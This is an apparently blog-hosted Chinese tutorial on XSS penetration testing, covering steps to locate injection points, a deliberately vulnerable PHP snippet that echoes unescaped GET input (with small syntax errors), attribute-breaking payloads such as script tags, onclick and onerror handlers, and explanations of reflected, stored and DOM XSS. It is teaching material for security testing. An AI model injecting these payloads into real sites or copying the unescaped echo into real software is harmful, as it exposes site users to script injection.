02-XSS渗透测试步骤

三、XSS渗透测试步骤

xss攻击,一定牢记"输入输出",输入指的是攻击者对服务器网页输入恶意代码

输出指的是浏览器接受到代码后能解析出并输出到前端。

xss原理就是开发者没有对输入内容进行过滤,导致通过攻击者进行构造的前端代码,

输入后和原有的前端代码产生混淆,形成新的页面语句,并且新的页面语句能够被浏览器解析并输出。

xss渗透测试步骤:

1)找到输入点,输入任意字符串,查看输出位置

2)打开网页源代码,在源代码中查看输出的位置(有可能输入和输出不在同一个页面)

3)查看输出位置的内容与输入内容之间的关系,构建闭合和拼接脚本

4)利用<script>或onclic或alert(1)进行测试,确认是否存在xss注入点

5)开始利用注入点完成各类复杂的操作,实现攻击目的

优化PHP代码为以下代码,并在一个文本框中进行输出:

复制代码
if(isset($_Get['content'])){
    $content = $_Get['content'];
    echo "<input type='text' value='$content' id='username'/>;"
}

我们的目的是进行xss攻击,执行JS代码的条件是要有script标签或事件属性

复制代码
<script>alert(1)</script> 这是一定能在页面上执行弹窗警告框的
如果我们直接输入上述的代码将直接会变成这样==》
<input type='text' value='<script>alert(1)</script>'> 这并不符合HTML的语法
<input type='text' value=''><script>alert(1)</script>"> 变成这样的话,就是input和script两个标签都能执行
因此我们输入就变成
"><script>alert(1)</script><!--    就是凭借和闭合后然后就将后续的代码进行注释就可以了
那此时浏览器在解析的时候,就会解析出两个元素,一个是input,一个是script,从而执行我们在script中的代码,完成XSS攻击
也可以完成对value="的闭合,实现文本框的单击事件,Payload为:
hello" onclick="alert(1)
也可以构造一个全新的标签进行触发: 
Palyoad 1:"><img src="1" onerror="alert(1)">
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><!--
Palyoad 2: "><img src="./image/dateme.gif" onclick="alert(1)"><input type="hidden

xss常用的测试语句:

复制代码
<script> alert(1)</script>
<img src=1 oneror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<input onfocus=write(1) autofocus>

四、xss的类型

1、反射型xss

我们构造好一个url的payload,发送给受害者,受害者点击恶意链接后再受害者的浏览器上执行恶意代码。

反射型xss是一次性的,而且比较容易被发现,通常恶意链接会被修改成短链接,或钓鱼图片的形式。

2、存储型XSS

存储型又叫永久性xss,常见于留言板,因为存储型xss的页面会将用户输入的内容存入到数据库内,

所以其他人每访问一次的时候,服务器都会从数据库将攻击者输入的内容调取到前端浏览器解析,

因此每一次访问就相当于一次xss攻击

3、DOM型XSS

DOM会将HTML文件的节点构建成树状结构,(一个标签就是一个节点)

不与服务器交互,本质上也是一种反射型xss。主要利用js使用domn对前端HTML进行操作时候产生的漏洞。DOM型xss难点就在于通过阅读JavaScript来确定输出的位置,才好构建输入的payload.

DOM型xss可通过开发者工具观察js变化。

相关推荐
小小代码狗13 分钟前
Windows 权限提升技术详解
windows·网络安全
YakProject2 小时前
如何让 AI Agent 跑得更快???
人工智能·测试工具·网络安全·agent·yakit·yaklang
网安蟹佬霸20 小时前
蓝队防御实战:SIEM与SOAR构建安全运营中心(万字详解+实战配置)
android·安全·web安全·网络安全·网安
网安蟹佬霸1 天前
Zero Trust零信任架构实战:从架构设计到落地部署
安全·网络安全·ci/cd·架构·自动化·网安
拾光Ծ1 天前
【Linux网络】HTTPS如何保证数据安全?从对称加密、非对称加密到 CA 证书认证
计算机网络·网络安全·https·tls·加密算法
佳&弥1 天前
数据库提权
服务器·数据库·安全·web安全·网络安全
大方子1 天前
【PolarCTF】苦海
网络安全·polarctf
whcyhhh1 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏
三垣网安2 天前
记一次渗透测试 | 教育src漏洞分享(2)
网络·安全·web安全·网络安全
汽车网络安全爱好者2 天前
AUTOSAR SecOC 深入解析(一):从 Freshness Value 到 MAC 认证的完整流
物联网·网络安全·汽车·密码学